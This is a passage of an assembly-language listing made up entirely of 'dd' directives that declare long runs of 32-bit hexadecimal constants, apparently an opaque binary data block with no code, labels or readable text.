		dd 62005D79h, 47C2E909h, 7DF3C584h, 0D48900EEh,	0A49A6FC9h
		dd 0C1489FF9h, 625100CCh, 0F579578Eh, 0A5BA00F3h, 40F2055h
		dd 5793DC5h, 82D2030Fh,	0E50E6267h, 504DC022h, 0D0F800EBh
		dd 8F88EC14h, 6200DBEDh, 1BB88793h, 53127Ch, 0B7F9C16Fh
		dd 9A80E44Ah, 3F4E300Ah, 3900D4CFh, 61F3E5F6h, 0BC790087h
		dd 864C5E9Ch, 0A8022ADEh, 476E438Bh, 0B4407539h, 0B8077080h
		dd 0A9D8F15Dh, 26EED650h, 0B528C033h, 7507CF68h, 0B4103E60h
		dd 6A5DEEAh, 0B1FBDC2Eh, 0B91F191Eh, 78F0B0h, 791037D6h
		dd 293F885h, 11BA49Fh, 0B8486C1Ah, 94A0D362h, 0F2EC2BD9h
		dd 96D89Dh, 0C1705854h,	39349ED2h, 6B6AC52Ch, 82A6CD00h
		dd 0A6D981Ch, 71EA61D4h, 0AE2002ABh, 0F4E1027Bh, 0C4F0D837h
		dd 7E00EDECh, 0D6851F7Fh, 6093F4DCh, 0BCF9488Eh, 0A01F58C3h
		dd 94CF87DAh, 39EAC034h, 0F315A6h, 5DD34C4Dh, 3357A975h
		dd 1F836200h, 0F7DE7FB3h, 5F0EAF3h, 0B5EEC30Fh,	3CE10051h
		dd 63769B22h, 0C7C7F1Dh, 4E6B0200h, 0DB0F45h, 79D3A4BDh
		dd 0F1351770h, 37C0900h, 2401B2D9h, 70490DAh, 5C1CE328h
		dd 91DB00CBh, 9D71D2E6h, 0EB09F48h, 5DF09776h, 2DFD3100h
		dd 0C0FE81CBh, 0B2F23208h, 98DF6F74h, 0EE4B1C8Fh, 7045E04Dh
		dd 0F34FFC5h, 87C8C16Dh, 8951CFE0h, 823D6E65h, 9D573ED2h
		dd 29C70481h, 0C5B3FE85h, 0EEF6889Ah, 0C4462889h, 81E50098h
		dd 0F263C765h, 6400B491h, 0FE0F8C5Ch, 28022F0Ah, 8C37B0h
		dd 0AC8A2ECEh, 3B797F09h, 5E525600h, 2F6111B6h,	3D220082h
		dd 0D9438A0Bh, 17008825h, 2463D2FFh, 28647F3h, 0B548583Ch
		dd 40576D8Eh, 3F7AFA27h, 34075FEEh, 0D39A472Ah,	0A780B161h
		dd 4613EAF0h, 0FC4057C3h, 0B0D02DC9h, 0AB37FE0h, 666CE485h
		dd 454D00CBh, 0DE97FF0Bh, 0F487EB0Ch, 0E7BD8C3h, 585A3A43h
		dd 36137FA0h, 0D0005919h, 23CC4503h, 40F936Bh, 51BA847Ch
		dd 56C880AAh, 20494BEBh, 1CD5888h, 7EE13A39h, 0DE1F7E7h
		dd 25C4F8h, 6BFE4087h, 4B376A64h, 5142BD0Eh, 6CA980CBh
		dd 1F4C454h, 6BB1958Bh,	0D0BBA3D4h, 0AF004B9Ah,	0F78064C8h
		dd 0CC19Ch, 0E8884939h,	0F20EA79Fh, 911EE890h, 303DE5C5h
		dd 0E8470915h, 128907A1h, 8E9EA6EAh, 4E11039Fh,	0C98008DDh
		dd 0F74855D3h, 0F60A0084h, 1C4D2D0Bh, 0E51800A5h, 5643BE35h
		dd 0D33F2E4Ch, 0B5007CCDh, 1D12CF5h, 382C009h, 0E7999BC8h
		dd 7AB82BF8h, 11735A22h, 80589300h, 7F13A7A9h, 0BD1C0023h
		dd 0B8776955h, 0E51E874Ah, 5C0003E3h, 0A5F59E62h, 0E75F830h
		dd 78C1149h, 22E43C20h,	0CB146A4Bh, 0ACA7A0h, 36029435h
		dd 0B3F92h, 0AD7AC8D1h,	3B056B75h, 78130C0h, 0BC6EF6h
		dd 2746EBC5h, 49709D02h, 0A2F960Bh, 0B05C2093h,	0A124E5DAh
		dd 80043D9Ch, 1C4E3184h, 3E74E8A0h, 0FC8E0500h,	0CA85FF87h
		dd 1FCB0095h, 4231C8CDh, 75005339h, 0BDC5934Dh,	50A816h
		dd 975B2018h, 1C25CCBBh, 80118B3Eh, 87AE7654h, 0F27E0D6Bh
		dd 6A4E2EAh, 39FF461Ah,	65003021h, 0C6C5E64Fh, 1FC0E208h
		dd 0D1C80Ah, 0D928164Bh, 75076C52h, 67385EADh, 4A5BD4B0h
		dd 979F002Ah, 9B70E927h, 0B072739Ah, 4D081F03h,	0F083DE54h
		dd 0F0A76A40h, 10AA0082h, 2BDAE2AEh, 0F100D9A5h, 275EBF7h
		dd 1C14DBD8h, 1E1F177Ch, 86ED4F98h, 0CFCDDCC0h,	0E1000B16h
		dd 499FF55Ah, 508A0h, 8840A52Eh, 0E69B82B0h, 1D1858h, 13C1EA1Dh
		dd 0B32ACFh, 2F666ED2h,	9FDEFBFh, 6895E400h, 0D687628Fh
		dd 0D335008Eh, 30373E58h, 7401262Dh, 9E97E9D4h,	9D5D19Dh
		dd 0FA926880h, 6D329A11h, 83F27D3Fh, 0FCCD26B8h, 4C1BE047h
		dd 223E00C6h, 980DBC94h, 1C00EED4h, 0CD0FD230h,	763EF17h
		dd 0BB19029Ch, 8AD3106Fh, 0AC008524h, 1F51082h,	4FD867h
		dd 710C692Bh, 535DB305h, 669FAA00h, 7449E608h, 3647430h
		dd 99FE98ADh, 51E8A4ABh, 7006E97h, 7B3EFF67h, 132BE8h
		dd 105C75B9h
		dd 4771CDE0h, 0AC04AFFEh, 0F2E2C7CAh, 0BF5048C7h, 6C1910Ch
		dd 0DB973AD1h, 0D00E09C5h, 38C70A01h, 99FA4320h, 967707E0h
		dd 0F09829FFh, 0A902F29Dh, 0D7914806h, 3E30E080h, 0DC9E4569h
		dd 2D02163Fh, 9C7B1101h, 8E7C4A59h, 0BBDE87E0h,	70AD6C0h
		dd 0B6000ABh, 0B7FDA48Dh, 0F89803B9h, 150066E2h, 167E32FFh
		dd 0E713386h, 8C3CF1A1h, 0DB962040h, 0B600FD19h, 78D15897h
		dd 9D3F4Fh, 0CF74570Ch,	0C2DD6259h, 1001B4Dh, 0D5210AA8h
		dd 0DBF0EDB5h, 29D100A2h, 0BA015B16h, 30E97259h, 0D000B1A3h
		dd 0E078AA0Dh, 0F21E870Ah, 0F4E50080h, 5A282AF3h, 0F000AF13h
		dd 7AE34D34h, 31EB375h,	0A6AC9E05h, 0A7D1C35Dh,	0AD9870E5h
		dd 0B0A37E00h, 40B61680h, 9FBC00E1h, 0A7E2326Ah, 5100356Eh
		dd 7B46364Fh, 7A6A85Fh,	0C7B61F09h, 44404FE3h, 9567139Dh
		dd 0D7D93D00h, 687DE150h, 1C264C36h, 0EC0C5900h, 0ED5ADDEFh
		dd 0A2AC08C0h, 79AFD0A8h, 0DDC478BDh, 6599CF20h, 68C17A4Eh
		dd 0E0E049CCh, 0E10048A1h, 9B46056Ah, 26E52D21h, 2B80F87h
		dd 2355F6C6h, 75015CC4h, 70DA3F88h, 92E8ABF8h, 3E5700BBh
		dd 540C1F2Bh, 0B5EE8599h, 4B763426h, 6207FB39h,	5CCA4C5h
		dd 20CB2390h, 86B7075Ah, 0A0A3B199h, 0AF9444E7h, 48E5B402h
		dd 807EE6A5h, 2A1512E4h, 0A07C0087h, 9CE73D11h,	0E600D4AEh
		dd 36C8D59Eh, 0DAE406h,	0F5759A7Dh, 15D81F3h, 0CCA66200h
		dd 0E9B97E9Dh, 1217167h, 0A882DD85h, 0C4614326h, 470098C1h
		dd 40168E3Eh, 3714BC50h, 0D009445Ah, 46588B8Fh,	7BC220C0h
		dd 3C74EFF6h, 7E03C53Ch, 7D064B17h, 710248F0h, 0FEB83202h
		dd 4083E012h, 252BBE80h, 0B018D31Eh, 5F26D1EBh,	0CD002C8Ah
		dd 0A6A50C35h, 570A0ACFh, 16E4FBE6h, 5F00316Ah,	928070D3h
		dd 1A2258h, 0BD21876h, 0F0A5DD07h, 0C3EE1940h, 70037082h
		dd 7C0753F1h, 0EC9B2108h, 0D3489E10h, 1FB4E819h, 3ED4724h
		dd 0A6859CDEh, 411C7D80h, 57251577h, 8098804Bh,	0A8F2504h
		dd 0E5F71BBAh, 6AE70680h, 16003A82h, 9CC0CB0Ch,	6FBDF1h
		dd 7C2B4B7Fh, 723F1721h, 12CFAF00h, 5D2D02A6h, 0BB8F1C15h
		dd 7D89658h, 74A5D777h,	0A3F8A04Fh, 0E39D1804h,	0E38095C0h
		dd 231304h, 2F900151h, 0C98A363Eh, 0C0CE8AA0h, 3589A4Ch
		dd 3D7A9BFAh, 0C7508F97h, 106F868h, 0F938082Fh,	0DC56B869h
		dd 0F301CAFCh, 0B6350165h, 1080FAB0h, 0B234E6DCh, 8600C548h
		dd 653A1451h, 6B530Ch, 62F01867h, 0D82A0679h, 0BE414800h
		dd 52E74B95h, 921A0017h, 6D11EE71h, 7300F99Dh, 0C2EA931h
		dd 0FF1B3C7h, 5BD05F94h, 428007EBh, 56A73CA2h, 92D9DA03h
		dd 0C3DFB549h, 0C1A1B82Ch, 2A1200B1h, 0D344EAE9h, 0FC00D43Ch
		dd 40C41427h, 25B52F34h, 15DE7DEBh, 1ED84D04h, 0A05EBAC3h
		dd 0B895DF5Bh, 5CBA055Eh, 0F81F41h, 79C7CFA1h, 0B2008571h
		dd 2429BCD2h, 5456F5h, 61272A91h, 38FD3F58h, 0A3A8DC00h
		dd 25ADC552h, 35F04C5Eh, 2D331600h, 0B2F368F4h,	4138F11Fh
		dd 43B0E680h, 1C5F5D5Bh, 0C7C20893h, 0F368CAC9h, 0A0FF585Ah
		dd 0D737467Fh, 0B01637Bh, 0F6532AE9h, 49D81399h, 58DD00CCh
		dd 0F8B6F06Bh, 4B00A39Ch, 0C68338E6h, 0AF0EBEh,	0A9D08FC9h
		dd 0B57F21F1h, 0D7DB2704h, 580BC0Ch, 0EA1EFAC0h, 14B093h
		dd 0CCD481CEh, 6C903FA5h, 0A0AF731Eh, 0DED20440h, 940DF97h
		dd 4CC06A0Bh, 0C9283C80h, 6500D8E9h, 0A5C63A77h, 2CB770ADh
		dd 80041E48h, 88C4FC5Eh, 490EF38Dh, 819AFEFBh, 0DC3D9965h
		dd 18BF02DCh, 50258440h, 0FD0FDAC4h, 2169295Dh,	0F3DD0550h
		dd 0F8603BF9h, 19C20FE3h, 8EE0280Dh, 0A729D92Ah, 0D20032F6h
		dd 0B5144E4Fh, 0E69CBEh, 0C2C5DDBDh, 38365DC6h,	4284C8C0h
		dd 1EF2Bh, 92FDFCD9h, 825D5041h, 97C25F00h, 7D32EF7h, 665B00Bh
		dd 153DEFD4h, 55009866h, 40FA04BDh, 18A540Ah, 37E574A6h
		dd 0DD94535Eh, 0AE298011h, 0D0EB345Dh, 983F03F2h, 0CB33FDE9h
		dd 66A891E3h, 1601B0B2h, 0DC2BAF0h, 39801C93h, 0A149100Fh
		dd 2503786Ah, 0C1D89523h, 0F5AFF0FEh, 0B44F0187h, 669E1EE0h
		dd 11D440E7h, 0E052F73h, 7DBBDB3Bh, 5B2DC490h, 0F88014C1h
		dd 6201A7EAh, 521BD967h, 9F68804Eh, 2DB07F1Ch, 60060082h
		dd 0A4D4401Dh, 8507421Fh, 0D865816Ch, 0E9EB1E30h, 7D3C00C4h
		dd 42308DA5h, 0B4006F32h, 48BA8285h, 3E7F6B4Dh,	6C4D3F22h
		dd 2A0BC120h, 8018B468h, 0FC0E8984h, 0D397052Bh, 8723F74Eh
		dd 547E3038h, 2C60C0ADh, 0B4AACE10h, 64EB027Fh,	534D30E3h
		dd 0EEB1606Bh, 2440FEC5h, 0C43E01B1h, 4F83DC0h,	51DBB44Ah
		dd 72E4CE0h, 46B2D358h,	611CA060h, 0BE0167FDh, 0B5727CE4h
		dd 42DD5CEh, 69DA1177h,	0A4C00FDh, 0F12FCBC5h, 3CD40C84h
		dd 4D700E0Bh, 0EE9A810Eh, 1BC1609Eh, 0C93171h, 88B3D461h
		dd 6C34466Bh, 0F478AD03h, 99229816h, 94E0AC59h,	354500B8h
		dd 309C4F1Dh, 0CC40150Fh, 17F898C2h, 80505Ah, 71D1A982h
		dd 0DD24242Ah, 9D879855h, 2059FF52h, 0A4729CB0h, 0ABF70015h
		dd 8EE8438Bh, 3C32B2BFh, 0E02A10AAh, 0DAB1ACh, 0DE8FB8D0h
		dd 7DE4C959h, 98740500h, 11B7EDBh, 80F054E9h, 4048B4F9h
		dd 0F79C927Ch, 692F4700h, 18C824C2h, 0A6EB05F8h, 80E85268h
		dd 724D760Eh, 43533A03h, 0D010B923h, 3920AF70h,	6680554Bh
		dd 0D8AB2FE2h, 180769EBh, 0B44D68E0h, 0D71DC2F0h, 859E0274h
		dd 0BD5FA941h, 1A2B14C0h, 391FDE7Bh, 38C05249h,	18A7EC48h
		dd 3AB37A88h, 48CD0472h, 0F9169500h, 0B5329B31h, 4B676D00h
		dd 4592CBB7h, 0E86228DCh, 0FD65009Fh, 6D9CF446h, 5B4CF65Eh
		dd 9E01006Ah, 4E1CEC1Fh, 793B00E1h, 0FA88815Ch,	0AF0078D3h
		dd 0D944F09h, 18A8ED9h,	0CCDCFDE6h, 38799F2Eh, 1458A4h
		dd 5032781Eh, 0F641613Bh, 0A3F40Ah, 845E7EBEh, 7009DAC8h
		dd 90BAD8A8h, 573F6800h, 6C77DDB7h, 832C1ECDh, 0E5194007h
		dd 0EA3C9B22h, 60BEBF38h, 7C289610h, 0DA2D007Dh, 4AFC0D72h
		dd 0AB264E79h, 0C480C0C8h, 0B5AE7B47h, 0A3F104FBh, 800CC7DAh
		dd 0A5253CFCh, 0D0210907h, 0F837C8C9h, 561B75D0h, 978900B1h
		dd 3060575Fh, 6A5058E7h, 1E09FFE9h, 83C3D790h, 0D83FA797h
		dd 311220h, 7E094BF6h, 93997DAFh, 6FA2B000h, 0A4C4F59Dh
		dd 24950362h, 89635CF1h, 70C0B188h, 0D467900h, 2AF5B34Fh
		dd 41BF05E8h, 0E06374BCh, 3B302DC8h, 0C715C992h, 6BEF1EC4h
		dd 2C8BC074h, 5551B44Ch, 839B0A3Fh, 0AF309F93h,	0E49DB834h
		dd 39C8006Fh, 6BC7A9B7h, 0B9A0D326h, 0CA0FEA29h, 1D5053Eh
		dd 98145F23h, 48F2F8h, 41F85E47h, 4252DCF7h, 36DA9900h
		dd 9BFCBB6Dh, 0A0465C74h, 10245E00h, 5215D9F8h,	99EEB600h
		dd 81E3EFD6h, 0C71D0006h, 37AC4C47h, 0E04AD95h,	1413F873h
		dd 0ED21D090h, 6BF8D5h,	5ECB778Ah, 41A6224Dh, 4BF8D401h
		dd 8EFB863h, 7AE6E60h, 7F918457h, 9080DF98h, 3C603002h
		dd 83203Dh, 0D44E29C3h,	0BAF30Bh, 95F66A69h, 46A3C08Dh
		dd 911C8C09h, 8F2C00A8h, 5FC261h, 0DC5743D4h, 7835AD32h
		dd 3F10FE00h, 0C5C70919h, 6A0D30D3h, 534C630h, 0AC1BE07h
		dd 8049ACA3h, 0B0E4BF9Ch, 30824C8Fh, 136DEF01h,	805AC775h
		dd 60ECEAEEh, 1D2CFF9Fh, 35D71Bh, 201E8FD0h, 5106CC07h
		dd 9BE0F7DAh, 0C6C8008Ch, 0ED47839Ch, 3704035Eh, 0B1FB4629h
		dd 84806684h
		dd 9656E6Bh, 0D1CB27FAh, 0A086C00h, 1C1312EFh, 60071FCAh
		dd 3E902576h, 3BE4D306h, 4C07BC02h, 2819D74h, 24486DA7h
		dd 0F6004E26h, 6306CE42h, 4A95E38h, 0B40D7484h,	0B2A480B0h
		dd 0FC00DD79h, 5996D9F6h, 94BC193h, 0AEACBCCBh,	0FD2CBF83h
		dd 0CAF3F4D8h, 6192C506h, 0F4688FE0h, 50C40A3Ah, 0EFC625h
		dd 3F79AB58h, 0B30522E4h, 44CAE3C3h, 0C1754E0h,	0A08537BEh
		dd 0A407C5C0h, 0A57EF704h, 0B00098DAh, 7498BB21h, 6C751Ah
		dd 0BED68F6Bh, 0E8FC1529h, 5C94F702h, 40E7A2CFh, 1C1A60h
		dd 0C9E1EC35h, 15B8279h, 0FD6E4B00h, 0BB8F4C78h, 69FAF9h
		dd 7B98083Bh, 0AA0CBFC2h, 0A2001EFEh, 655A2244h, 214692h
		dd 160E4049h, 115D25C4h, 0DC24EA1Dh, 0D9F28CC1h, 79D43ADDh
		dd 17AE984Ah, 0C2221DA1h, 0F07035E0h, 9D9DA30h,	1D594FBh
		dd 0C28326A4h, 0D049C3B1h, 0D10092F4h, 0D47B245Ch, 1720C59h
		dd 0A70246D9h, 0D031EA89h, 0A20001BCh, 4C565DBBh, 0B669D7F2h
		dd 2DF75124h, 0E05E2AC0h, 0EC4C804h, 0A2C03B1Dh, 6170915h
		dd 0B2DA3EFAh, 0B700F0B5h, 0E9ABB1BCh, 0A0412319h, 0BE36AC0h
		dd 953E338Fh, 263A7402h, 28D2D4A0h, 56092D12h, 0E896169Eh
		dd 25C6154h, 0EB85BF53h, 84F884CAh, 0C87F652Ah,	917C89E2h
		dd 878B3D05h, 98A47A28h, 0F83A5804h, 820D1C70h,	436EC7B8h
		dd 0D19FF03Eh, 0C2635BBh, 3801FC90h, 0AB4CE745h, 6B0320h
		dd 9BCF364Eh, 54AB57Ch,	0E114B2A0h, 0EA0C2A0Fh,	0E7658222h
		dd 523960CBh, 91DA0D45h, 7C9EA013h, 0B420EBCh, 6D7D205Bh
		dd 0A04F3159h, 2466E04h, 472340BEh, 3FC0D9BFh, 0FE01F76Fh
		dd 0F3E96439h, 0FCE09930h, 2BEE33h, 0CA616EF0h,	57C8DE87h
		dd 13447D38h, 38482982h, 319E814Ch, 0CC833EC0h,	5713A87Fh
		dd 0D000373Fh, 6D292796h, 0EC634CF2h, 80CD321Ch, 782F979Fh
		dd 74731FAAh, 2010D70Bh, 3104408h, 0E8DABBC7h, 18848F9h
		dd 0E3AD1D9h, 81891D35h, 77C40027h, 833B44h, 8E6595CAh
		dd 706B3CF0h, 2B407F1Dh, 0E3613F80h, 89CB0Bh, 0BE5FEA34h
		dd 50DFE4A8h, 775C9B1Eh, 28B8C200h, 58F3B0h, 0A967EB41h
		dd 88BA24C3h, 0AE000090h, 0A351E6BFh, 0F7A5506h, 70683854h
		dd 0D8460920h, 6F02E3D9h, 799A5785h, 882B4311h,	3F1B888h
		dd 1593DC5Ah, 16A0C832h, 0B780C17h, 2AEAF439h, 0A80ED8FEh
		dd 2063B02Bh, 40C5452Eh, 0CC0800E4h, 2DB850E9h,	0FA0006DEh
		dd 0A16A0B5h, 21A7705h,	6978F6F3h, 603B08h, 89076FECh
		dd 3EF227FBh, 38E92EF0h, 43372451h, 8B3F00A3h, 4B0E1E96h
		dd 7C679924h, 0D697E180h, 1D55D75Bh, 3DC6A78Ch,	5CC4F817h
		dd 2C4984A8h, 69ACC030h, 3F02C603h, 0AFE77972h,	0EA086BD6h
		dd 6D28801Eh, 36335E4h,	0C734F419h, 0D9A3200Ah,	4EE1ECC3h
		dd 5900F327h, 0C4FB7C45h, 0A8F8957Ah, 0A03F4184h, 0AD6210h
		dd 612065D8h, 0DA5466A6h, 7930A70Ah, 5190188Bh,	0DD656080h
		dd 38C764ECh, 4C0261BDh, 7A108150h, 3980FB20h, 8C548F5Bh
		dd 0A507F847h, 0ADFFC16Dh, 0B3CE50B1h, 3445DCh,	0C7303DD8h
		dd 98BDCBEFh, 638A0100h, 1FE00B77h, 26E1006Ah, 69E9FCD8h
		dd 831D8594h, 0F680040Ah, 0EA42F1DBh, 0D2F80E46h, 0D30057FBh
		dd 0B19C7E37h, 0D8F69400h, 0A3A6328Bh, 6F401BFh, 2735DC12h
		dd 9745F072h, 2DD00300h, 22F7C6DDh, 90D3129Bh, 25D500E0h
		dd 0A54C16F9h, 21A44000h, 9A292327h, 70830055h,	53E1F103h
		dd 3D2E388Ah, 0F000D0D4h, 0F4F8D974h, 7F2F1E2Dh, 2872852Eh
		dd 0BECC0049h, 6544DAE0h, 327800E9h, 19623D94h,	1BFB3506h
		dd 77600834h, 944AA621h, 17B12E4h, 0AB0046E8h, 3E00CE75h
		dd 22FFBE70h, 7C477DA8h, 0C69E005Ch, 0EE7B53C2h, 2007269h
		dd 0B2D94E5Bh, 7783A7h,	8D3E6D50h, 6E60EE7Ah, 92063490h
		dd 0D5C828CCh, 97780061h, 3B723824h, 0DBF3F5C6h, 40640827h
		dd 3CD848h, 7A208527h, 0D94FE9BEh, 4933CE88h, 150000F7h
		dd 0E055B9DEh, 393B9073h, 9C8181F5h, 95BBBFB8h,	0D9867BFCh
		dd 182B8088h, 31240896h, 79C23372h, 3FA100CFh, 0E800A927h
		dd 24660CC2h, 0A52C5Eh,	0F892215Fh, 467DB7E6h, 9BC4D603h
		dd 0FA0130h, 0BBB52EA1h, 55CEA7B9h, 0BA41D43Ah,	40572754h
		dd 3A31B90h, 5DA670BBh,	0BD83B09h, 8306E876h, 3E566495h
		dd 9C793059h, 0A7E389F1h, 0E2F53307h, 5D4017E0h, 0EEB90963h
		dd 21AB146Fh, 1900C04Eh, 644D1DA0h, 0F40044F7h,	17E6A20Eh
		dd 1D36FD1h, 0DA5003F1h, 0FCAB63F9h, 140004C5h,	45FCC296h
		dd 65E5C32h, 0F9FFBCBBh, 64071806h, 0FCC55BB8h,	0F7F63F80h
		dd 0D431C015h, 1BFE65A7h, 7D007BF2h, 0B6CD8901h, 6C47F0h
		dd 0CC752416h, 0BB9665B4h, 0D8DA7900h, 9344BDBEh, 24640029h
		dd 0CCDFE343h, 14AD7D1Ch, 0FEFB9401h, 0FDFDDC5Bh, 49269880h
		dd 9937462Ah, 0DE985E00h, 728628E3h, 91ED0056h,	656E5329h
		dd 0A7E4676h, 7B578C01h, 0D3D63716h, 309CC080h,	50F2D7Fh
		dd 444210C0h, 0E0829BBEh, 0A1A000D4h, 0AEE1729h, 0BB3B9438h
		dd 0A44F00C5h, 99504E06h, 0DE4C0061h, 4D1AEDE6h, 0F8B8A53Ah
		dd 97C80705h, 980011DFh, 44020A96h, 1D62079Fh, 201BAE41h
		dd 5DBF4B6Fh, 77FCD200h, 734AFBFAh, 70A600CBh, 564D9ECFh
		dd 0E009460h, 477EA478h, 2C024A0h, 75FC17B0h, 815DB71Ch
		dd 0C5FFA1C3h, 0F735002Bh, 0B04025CDh, 0FB8B5A01h, 36D88EEBh
		dd 257E8h, 0C64E0335h, 0B3F722EFh, 0DF2BD400h, 4FCF7AA8h
		dd 72A189Eh, 4C4A18F9h,	20A9E700h, 18AE1285h, 3A361813h
		dd 0E9A5DAB1h, 15080163h, 2920004Ch, 522036ABh,	0E500C21Fh
		dd 4AFDDE07h, 3848D2Dh,	427F26Ah, 3002B146h, 0C19BE934h
		dd 7F06E07Dh, 980C091h,	0E48538AEh, 4C032E7Dh, 134DAC93h
		dd 0A337B1B2h, 624064D4h, 7C252959h, 86C3F7E0h,	0CC6D4507h
		dd 584642B7h, 0F380290h, 3D8FE5B5h, 0BE64B7E0h,	5401F0E8h
		dd 7B2412DEh, 744BBC5Eh, 0AAC004C8h, 684BA37h, 0B3DD71C7h
		dd 10A48D1h, 0ACEE6324h, 4FD8C80h, 17DC8A5h, 0F9903E0Ch
		dd 0FC1A73CEh, 3100C688h, 0D59841BEh, 71BDC51h,	0A5B21D61h
		dd 9C9350B4h, 24027F62h, 0EA942E07h, 0F1DAE17Ah, 301C6620h
		dd 9890F92Ch, 0C800452Fh, 3BE28A9h, 0D082B0h, 0EBC995B5h
		dd 3622E9B2h, 800A1F00h, 0FB769377h, 9DB00563h,	3EA5821Ch
		dd 0F1EEB304h, 32F083DBh, 189C6084h, 0C163E8C4h, 0E0FAD200h
		dd 6FFF6824h, 230B0030h, 3B12328Fh, 0C718608Ch,	0DC2962A7h
		dd 882080D9h, 0DD266100h, 9DFD63F1h, 34570083h,	0CE19BDB8h
		dd 410F9135h, 21AE7BC6h, 8E89DB1h, 3F78A2C4h, 5E00FB5Bh
		dd 623B4434h, 0F3006114h, 67DABD69h, 32A7A4h, 0B62A3504h
		dd 0C11F8AD7h, 888C4E03h, 0D8FB6F9Ah, 0F3AB8CDh, 0C753571Eh
		dd 4F6C3F20h, 260013A6h, 43E77DEFh, 455591h, 880187F7h
		dd 0C3C710C1h, 51583D03h, 0C88467A8h, 3413034h,	0D29371D0h
		dd 98B00287h, 7F00BE79h, 3E0AA85Dh, 0D6E483h, 0B9B8CA51h
		dd 8CDEEFC1h, 0BEE802E4h, 961F8500h, 0D6F83744h, 0F30800A0h
		dd 259D709Fh, 0B900034Bh, 0E60F491Bh, 3E7C5Eh, 0FF740A54h
		dd 288F70CEh, 6719F405h, 9EF827B9h, 0DED2C500h,	0BA3A07C8h
		dd 0B3550D06h, 384AC40h, 9A83DAFEh, 32E165A3h, 43DBEC4Ch
		dd 8074E603h, 0B812762Ah, 1EE5D70h, 0B8B0627Bh,	301352F9h
		dd 1F48DFFBh, 0B5E60008h
		dd 0FB535B66h, 0C935382Fh, 4C5F3780h, 0AF11510Dh, 6F8B9EFh
		dd 71F903EEh, 2AA90051h, 0B6D85768h, 800F05B2h,	2A14E452h
		dd 8039DA93h, 0BEB93461h, 0CE6EA8h, 0E6728B49h,	4158147h
		dd 0C6B8CB05h, 5780A464h, 0CA58EFh, 8D627322h, 501054C7h
		dd 2B4D449h, 0F8FBC464h, 9BC74387h, 7D6871E5h, 0A88A0084h
		dd 6C88D029h, 0E70233B2h, 0BD3C5A21h, 0EF2CC080h, 0ED0A00FBh
		dd 29DDB6D9h, 0C01F8E6Dh, 908E6B55h, 7CD1652Fh,	57EB4280h
		dd 92C6000Ch, 5E2218E7h, 0F1008973h, 7C8F5F7Dh,	0E56ED52h
		dd 66EB33A5h, 2DF32A0h,	4D24E03Dh, 3228826Ah, 5E73BD07h
		dd 0AA231B4Bh, 28C000A6h, 8FC8F9FBh, 1900E0FDh,	0C112C016h
		dd 63A3D5h, 0DA381546h,	54AC61B6h, 0A0FC3F5Eh, 0C0E4A87Fh
		dd 4D907Fh, 0B8443553h,	22207645h, 0F14C9D00h, 0B6A89296h
		dd 0FDA11DDAh, 5BE780ACh, 7759C6F8h, 0FC75A0A8h, 1BDD7000h
		dd 816CBFE9h, 8FA515C0h, 4100AC6Ah, 1160FCC8h, 700DCE1h
		dd 0E92DD705h, 0A83DCCh, 0FAD8BE80h, 9B8E8A4h, 0CC03607h
		dd 17174965h, 0DE3C99F0h, 0B07994h, 21B68422h, 57760D0h
		dd 601B372h, 1566ADA6h,	0C447E498h, 5BB241C0h, 119A004Ch
		dd 8A65AC7Eh, 0DA0046A5h, 3C2682DFh, 1500A81h, 17BF833Fh
		dd 2019FD39h, 220EDF58h, 0E1499D96h, 0B25E2F31h, 7BCBED8h
		dd 0BF27A736h, 8B17B0FDh, 71C33759h, 0F5239244h, 9C5BE447h
		dd 3ACE2Eh, 7F510488h, 0D71300FDh, 0F11F4E7Bh, 5C009A7Ah
		dd 0A82B4323h, 0F6D376h, 9C1528AAh, 0F4498DBFh,	43052000h
		dd 4BDB6E47h, 0B86A1404h, 387DCC89h, 0DC12BA96h, 4F540054h
		dd 6FDB4A8Eh, 63CA9A02h, 0C06C9319h, 4CA622h, 0E966F6D7h
		dd 0CF0CF17Dh, 6ADBB1Eh, 0D404EF53h, 0B88E7CA7h, 807E047Eh
		dd 80038F9Fh, 0A3E55ED8h, 1D3EB800h, 529C24D0h,	0ABFE0048h
		dd 0C877A659h, 4515639Ah, 71A80953h, 73311F40h,	0A4BD0302h
		dd 0F5C85CF0h, 0FC5E3680h, 0C34F312h, 8348F830h, 0BC2C1C05h
		dd 62B11E90h, 0EC8CC00h, 4E3B1AEAh, 21110095h, 4C836EE9h
		dd 0CA00C5C3h, 0A95CC4ECh, 61705Bh, 46410F71h, 0E9E26C97h
		dd 0F9CC0850h, 5501B59h, 3CBCB34Eh, 5053C681h, 1697F040h
		dd 252000E2h, 8BD32F10h, 0DA0079E0h, 8580EC8Ah,	0EE7B6CDEh
		dd 2590A056h, 0AF910017h, 2EBAF2ACh, 600783ADh,	0CD625EEBh
		dd 0C03F64B2h, 68CA41h,	0F54DD74Ah, 780EB6DBh, 0CFB34505h
		dd 0E8656D3Bh, 0BFBE3840h, 1E7C27D7h, 496226D8h, 0B818AB41h
		dd 0C283A52Eh, 8B5865FAh, 57017B6Eh, 0D0639548h, 0B8058838h
		dd 3AF28185h, 87C62880h, 92507C98h, 1AEE07DCh, 70AD0EDFh
		dd 0EAB3522Eh, 0A6A33E02h, 82CE7B43h, 60AF9BFCh, 2A3216h
		dd 0C63CC584h, 2CD7A9EDh, 5659B800h, 82E346C1h,	34F92A54h
		dd 99CB00E4h, 1AC18ABh,	6975451Bh, 50CC5138h, 0F8138E84h
		dd 80603CC2h, 0B72BA9h,	0B1144247h, 413CECA7h, 0FC5B860Eh
		dd 0D0D580FEh, 7039054Ch, 570A0051h, 179E78AAh,	26003392h
		dd 0D5C02910h, 0B67FEAh, 0A7EB4E7Ah, 2B2D0EF7h,	211F30C1h
		dd 0C0209C09h, 0A68400DCh, 0BF2C998Ch, 7900D772h, 3BA12794h
		dd 0D2F289h, 4A193934h,	0C61D0A5Ch, 5E35D8FBh, 9F1A1007h
		dd 0DF074245h, 3F9D33E0h, 1D70099Ah, 0CC04E38Bh, 84622126h
		dd 0FC3224ECh, 3A7C901Dh, 1A265C8Ah, 8131091Ch,	0F0FAAC27h
		dd 941234FCh, 0C3F3CE00h, 49C05290h, 0E7D600ABh, 83016769h
		dd 590051E9h, 0F50214BCh, 1C2BF215h, 908646C3h,	0DBDE1C2Dh
		dd 0D1296380h, 0EB5CFB6h, 94E2AA06h, 1C8093E9h,	57FD0BE5h
		dd 8095183Dh, 81F7031Eh, 0D929FCh, 0D052F1E0h, 0A2DF010Dh
		dd 5EFBF01Ch, 3B3F8940h, 1FC5CCE4h, 971D6C11h, 0FA5909F2h
		dd 2C129CA0h, 0B9005864h, 0C0DB972Dh, 244FED50h, 4E78D070h
